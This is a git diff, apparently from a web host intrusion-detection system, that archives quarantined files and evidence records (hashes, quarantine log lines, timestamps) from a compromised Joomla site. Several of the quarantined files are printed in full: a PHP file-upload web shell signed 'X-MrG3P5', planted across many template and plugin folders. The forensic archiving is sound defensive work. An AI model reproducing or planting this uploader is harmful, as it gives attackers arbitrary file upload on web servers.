.../layout/zscqyqr7.php3.json.evidence.json | 15 ++ .../shaper_helix3/layout/zscqyqr7.php4.json | 1 + .../layout/zscqyqr7.php4.json.evidence.json | 15 ++ .../shaper_helix3/layout/zscqyqr7.php5.json | 1 + .../layout/zscqyqr7.php5.json.evidence.json | 15 ++ .../shaper_helix3/layout/zscqyqr7.phtml.json | 1 + .../layout/zscqyqr7.phtml.json.evidence.json | 15 ++ .../shaper_helix3/layout/zseqn0yx.inc.json | 1 + .../layout/zseqn0yx.inc.json.evidence.json | 15 ++ .../shaper_helix3/layout/zseqn0yx.phar.json | 1 + .../layout/zseqn0yx.phar.json.evidence.json | 15 ++ .../shaper_helix3/layout/zseqn0yx.php.json | 1 + .../layout/zseqn0yx.php.json.evidence.json | 15 ++ .../shaper_helix3/layout/zseqn0yx.php3.json | 1 + .../layout/zseqn0yx.php3.json.evidence.json | 15 ++ .../shaper_helix3/layout/zseqn0yx.php4.json | 1 + .../layout/zseqn0yx.php4.json.evidence.json | 15 ++ .../shaper_helix3/layout/zseqn0yx.php5.json | 1 + .../layout/zseqn0yx.php5.json.evidence.json | 15 ++ .../shaper_helix3/layout/zseqn0yx.phtml.json | 1 + .../layout/zseqn0yx.phtml.json.evidence.json | 15 ++ .../shaper_helix3/up_5e4xf5.php.json | 1 + .../up_5e4xf5.php.json.evidence.json | 15 ++ .../shaper_helix3/up_p5n63o.php.json | 1 + .../up_p5n63o.php.json.evidence.json | 15 ++ .../templates/shaper_helix3/zscqyqr7.inc.json | 1 + .../zscqyqr7.inc.json.evidence.json | 15 ++ .../shaper_helix3/zscqyqr7.phar.json | 1 + .../zscqyqr7.phar.json.evidence.json | 15 ++ .../templates/shaper_helix3/zscqyqr7.php.json | 1 + .../zscqyqr7.php.json.evidence.json | 15 ++ .../shaper_helix3/zscqyqr7.php3.json | 1 + .../zscqyqr7.php3.json.evidence.json | 15 ++ .../shaper_helix3/zscqyqr7.php4.json | 1 + .../zscqyqr7.php4.json.evidence.json | 15 ++ .../shaper_helix3/zscqyqr7.php5.json | 1 + .../zscqyqr7.php5.json.evidence.json | 15 ++ .../shaper_helix3/zscqyqr7.phtml.json | 1 + .../zscqyqr7.phtml.json.evidence.json | 15 ++ .../templates/shaper_helix3/zseqn0yx.inc.json | 1 + .../zseqn0yx.inc.json.evidence.json | 15 ++ .../shaper_helix3/zseqn0yx.phar.json | 1 + .../zseqn0yx.phar.json.evidence.json | 15 ++ .../templates/shaper_helix3/zseqn0yx.php.json | 1 + .../zseqn0yx.php.json.evidence.json | 15 ++ .../shaper_helix3/zseqn0yx.php3.json | 1 + .../zseqn0yx.php3.json.evidence.json | 15 ++ .../shaper_helix3/zseqn0yx.php4.json | 1 + .../zseqn0yx.php4.json.evidence.json | 15 ++ .../shaper_helix3/zseqn0yx.php5.json | 1 + .../zseqn0yx.php5.json.evidence.json | 15 ++ .../shaper_helix3/zseqn0yx.phtml.json | 1 + .../zseqn0yx.phtml.json.evidence.json | 15 ++ .../www/templates/zscqyqr7.inc.json | 1 + .../templates/zscqyqr7.inc.json.evidence.json | 15 ++ .../www/templates/zscqyqr7.phar.json | 1 + .../zscqyqr7.phar.json.evidence.json | 15 ++ .../www/templates/zscqyqr7.php.json | 1 + .../templates/zscqyqr7.php.json.evidence.json | 15 ++ .../www/templates/zscqyqr7.php3.json | 1 + .../zscqyqr7.php3.json.evidence.json | 15 ++ .../www/templates/zscqyqr7.php4.json | 1 + .../zscqyqr7.php4.json.evidence.json | 15 ++ .../www/templates/zscqyqr7.php5.json | 1 + .../zscqyqr7.php5.json.evidence.json | 15 ++ .../www/templates/zscqyqr7.phtml.json | 1 + .../zscqyqr7.phtml.json.evidence.json | 15 ++ .../www/templates/zseqn0yx.inc.json | 1 + .../templates/zseqn0yx.inc.json.evidence.json | 15 ++ .../www/templates/zseqn0yx.phar.json | 1 + .../zseqn0yx.phar.json.evidence.json | 15 ++ .../www/templates/zseqn0yx.php.json | 1 + .../templates/zseqn0yx.php.json.evidence.json | 15 ++ .../www/templates/zseqn0yx.php3.json | 1 + .../zseqn0yx.php3.json.evidence.json | 15 ++ .../www/templates/zseqn0yx.php4.json | 1 + .../zseqn0yx.php4.json.evidence.json | 15 ++ .../www/templates/zseqn0yx.php5.json | 1 + .../zseqn0yx.php5.json.evidence.json | 15 ++ .../www/templates/zseqn0yx.phtml.json | 1 + .../zseqn0yx.phtml.json.evidence.json | 15 ++ ...cerer_php_a8b71fc76ead414984c90657b7e06a0b | 212 ++++++++++++++++++ ...1fc76ead414984c90657b7e06a0b.evidence.json | 15 ++ .../archline.hu/www/tmp/up_4ucqzf.php.json | 1 + .../www/tmp/up_4ucqzf.php.json.evidence.json | 15 ++ .../archline.hu/www/tmp/up_w79o5p.php.json | 1 + .../www/tmp/up_w79o5p.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/vbjim.php7.json | 1 + .../www/vbjim.php7.json.evidence.json | 15 ++ var/www/hosting/archline.hu/www/vile.php.json | 40 ++++ .../www/vile.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/vtury.php5.json | 1 + .../www/vtury.php5.json.evidence.json | 15 ++ .../hosting/archline.hu/www/whqyc.php.json | 1 + .../www/whqyc.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/wwzau.phtml.json | 1 + .../www/wwzau.phtml.json.evidence.json | 15 ++ .../hosting/archline.hu/www/wywkj.php.json | 1 + .../www/wywkj.php.json.evidence.json | 15 ++ .../hosting/archline.hu/www/xaurk.phtml.json | 1 + .../www/xaurk.phtml.json.evidence.json | 15 ++ .../hosting/archline.hu/www/xgvbn.php7.json | 1 + .../www/xgvbn.php7.json.evidence.json | 15 ++ .../hosting/archline.hu/www/yfajh.phar.json | 1 + .../www/yfajh.phar.json.evidence.json | 15 ++ .../hosting/archline.hu/www/yirrh.phtml.json | 1 + .../www/yirrh.phtml.json.evidence.json | 15 ++ .../hosting/archline.hu/www/yuacx.php.json | 1 + .../www/yuacx.php.json.evidence.json | 15 ++ 214 files changed, 2635 insertions(+) create mode 100644 var/www/hosting/archline.hu/www/aewxw.php3.json create mode 100644 var/www/hosting/archline.hu/www/aewxw.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/agfkv.php.json create mode 100644 var/www/hosting/archline.hu/www/agfkv.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/buigd.phtml.json create mode 100644 var/www/hosting/archline.hu/www/buigd.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/bwgfk.phar.json create mode 100644 var/www/hosting/archline.hu/www/bwgfk.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json create mode 100644 var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json create mode 100644 var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/cckcn.php3.json create mode 100644 var/www/hosting/archline.hu/www/cckcn.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/cmzqi.php.json create mode 100644 var/www/hosting/archline.hu/www/cmzqi.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json create mode 100644 var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json create mode 100644 var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/cpjaz.php5.json create mode 100644 var/www/hosting/archline.hu/www/cpjaz.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/dhtwb.php.json create mode 100644 var/www/hosting/archline.hu/www/dhtwb.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/ebcvh.phar.json create mode 100644 var/www/hosting/archline.hu/www/ebcvh.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/efsfk.php5.json create mode 100644 var/www/hosting/archline.hu/www/efsfk.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/fcjf1ich.php.json create mode 100644 var/www/hosting/archline.hu/www/fcjf1ich.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/friska.php.json create mode 100644 var/www/hosting/archline.hu/www/friska.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/humis.php.json create mode 100644 var/www/hosting/archline.hu/www/humis.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/iarub.php7.json create mode 100644 var/www/hosting/archline.hu/www/iarub.php7.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json create mode 100644 var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/images/up_c82lkd.php.json create mode 100644 var/www/hosting/archline.hu/www/images/up_c82lkd.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/images/up_z46hdr.php.json create mode 100644 var/www/hosting/archline.hu/www/images/up_z46hdr.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/jjslj.php3.json create mode 100644 var/www/hosting/archline.hu/www/jjslj.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/jvjrn.phar.json create mode 100644 var/www/hosting/archline.hu/www/jvjrn.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/lmxjo.php.json create mode 100644 var/www/hosting/archline.hu/www/lmxjo.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/lyasi.php7.json create mode 100644 var/www/hosting/archline.hu/www/lyasi.php7.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/media/up_metq24.php.json create mode 100644 var/www/hosting/archline.hu/www/media/up_metq24.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/mlegu.php5.json create mode 100644 var/www/hosting/archline.hu/www/mlegu.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json create mode 100644 var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json create mode 100644 var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/niegn.php.json create mode 100644 var/www/hosting/archline.hu/www/niegn.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/orprr.php3.json create mode 100644 var/www/hosting/archline.hu/www/orprr.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json create mode 100644 var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/qmszk.phtml.json create mode 100644 var/www/hosting/archline.hu/www/qmszk.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/qtu3ha5k.php.json create mode 100644 var/www/hosting/archline.hu/www/qtu3ha5k.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/rzrqw.php3.json create mode 100644 var/www/hosting/archline.hu/www/rzrqw.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/sad.php.json create mode 100644 var/www/hosting/archline.hu/www/sad.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/scsda.php.json create mode 100644 var/www/hosting/archline.hu/www/scsda.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/sffiv.php5.json create mode 100644 var/www/hosting/archline.hu/www/sffiv.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/slguf.phar.json create mode 100644 var/www/hosting/archline.hu/www/slguf.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/sokeo.php7.json create mode 100644 var/www/hosting/archline.hu/www/sokeo.php7.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json create mode 100644 var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json create mode 100644 var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json create mode 100644 var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b create mode 100644 var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b.evidence.json create mode 100644 var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json create mode 100644 var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json create mode 100644 var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/vbjim.php7.json create mode 100644 var/www/hosting/archline.hu/www/vbjim.php7.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/vile.php.json create mode 100644 var/www/hosting/archline.hu/www/vile.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/vtury.php5.json create mode 100644 var/www/hosting/archline.hu/www/vtury.php5.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/whqyc.php.json create mode 100644 var/www/hosting/archline.hu/www/whqyc.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/wwzau.phtml.json create mode 100644 var/www/hosting/archline.hu/www/wwzau.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/wywkj.php.json create mode 100644 var/www/hosting/archline.hu/www/wywkj.php.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/xaurk.phtml.json create mode 100644 var/www/hosting/archline.hu/www/xaurk.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/xgvbn.php7.json create mode 100644 var/www/hosting/archline.hu/www/xgvbn.php7.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/yfajh.phar.json create mode 100644 var/www/hosting/archline.hu/www/yfajh.phar.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/yirrh.phtml.json create mode 100644 var/www/hosting/archline.hu/www/yirrh.phtml.json.evidence.json create mode 100644 var/www/hosting/archline.hu/www/yuacx.php.json create mode 100644 var/www/hosting/archline.hu/www/yuacx.php.json.evidence.json diff --git a/var/www/hosting/archline.hu/www/aewxw.php3.json b/var/www/hosting/archline.hu/www/aewxw.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/aewxw.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/aewxw.php3.json.evidence.json b/var/www/hosting/archline.hu/www/aewxw.php3.json.evidence.json new file mode 100644 index 0000000..211fb86 --- /dev/null +++ b/var/www/hosting/archline.hu/www/aewxw.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2870", + "log_excerpt": "[quarantine] www.archline.hu:aewxw.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/aewxw.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811784, + "size": 448, + "uid": 20043 + }, + "rel_path": "aewxw.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/agfkv.php.json b/var/www/hosting/archline.hu/www/agfkv.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/agfkv.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/agfkv.php.json.evidence.json b/var/www/hosting/archline.hu/www/agfkv.php.json.evidence.json new file mode 100644 index 0000000..b21ccd2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/agfkv.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2858", + "log_excerpt": "[quarantine] www.archline.hu:agfkv.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/agfkv.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792283, + "size": 448, + "uid": 20043 + }, + "rel_path": "agfkv.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/buigd.phtml.json b/var/www/hosting/archline.hu/www/buigd.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/buigd.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/buigd.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/buigd.phtml.json.evidence.json new file mode 100644 index 0000000..dc1a80b --- /dev/null +++ b/var/www/hosting/archline.hu/www/buigd.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2875", + "log_excerpt": "[quarantine] www.archline.hu:buigd.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/buigd.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950924, + "size": 448, + "uid": 20043 + }, + "rel_path": "buigd.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/bwgfk.phar.json b/var/www/hosting/archline.hu/www/bwgfk.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/bwgfk.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/bwgfk.phar.json.evidence.json b/var/www/hosting/archline.hu/www/bwgfk.phar.json.evidence.json new file mode 100644 index 0000000..fcd19b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/bwgfk.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2888", + "log_excerpt": "[quarantine] www.archline.hu:bwgfk.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/bwgfk.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790437, + "size": 448, + "uid": 20043 + }, + "rel_path": "bwgfk.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

